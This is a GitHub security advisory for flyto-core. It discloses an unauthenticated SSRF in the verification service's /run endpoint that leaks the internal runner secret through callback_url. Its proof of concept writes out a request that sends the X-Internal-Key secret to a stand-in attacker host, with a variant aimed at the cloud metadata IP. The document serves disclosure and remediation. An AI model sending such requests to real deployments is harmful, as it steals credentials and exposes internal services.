Skip to content

Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration

Critical severity GitHub Reviewed Published Jul 8, 2026 in flytohub/flyto-core • Updated Aug 10, 2026

Package

pip flyto-core (pip)

Affected versions

>= 2.26.6, < 2.26.7

Patched versions

2.26.7

Description

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

  • src/core/verification_service.py:363-364/run has no Depends/auth dependency.
  • resolve_callback_url returns the client callback_url verbatim (:315-316).
  • post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
  • target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
  • Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

  1. Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
  2. Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
  3. Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
  4. Sink: post_callbacksession.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
  5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTO_RUNNER_SECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

Affected Versions

<= 2.26.6verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Credit

Vulnerability discovered by zx (Jace).

References

@ChesterHsu ChesterHsu published to flytohub/flyto-core Jul 8, 2026
Published by the National Vulnerability Database Jul 29, 2026
Published to the GitHub Advisory Database Jul 30, 2026
Reviewed Jul 30, 2026
Last updated Aug 10, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(23rd percentile)

Weaknesses

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval. Learn more on MITRE.

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-67426

GHSA ID

GHSA-jx74-cqjv-2c67

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.